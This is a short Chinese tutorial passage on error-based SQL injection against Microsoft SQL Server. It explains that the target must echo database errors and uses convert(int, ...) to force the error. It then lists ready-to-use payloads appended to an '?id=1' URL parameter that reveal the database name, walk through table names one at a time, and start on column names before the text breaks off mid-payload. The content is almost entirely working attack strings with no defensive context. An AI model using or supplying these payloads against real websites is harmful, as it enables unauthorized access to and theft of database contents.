条件
必须有错误回显
函数
convert(int,(select top 1 db_name() )):将第二个参数的值转换成第一个参数的int类型
查看数据库
?id=1 and 1=convert(int,(select top 1 db_name()))
查看数据库有哪些表
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’))
第一个表名为aaa,查看第二个表名,依次类推
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’))
查看对应表有哪些列
?id=1 and 1=convert(int,(select top 1 name from test.sys
sql注入之——sqlserver报错注入
最新推荐文章于 2025-03-25 22:37:10 发布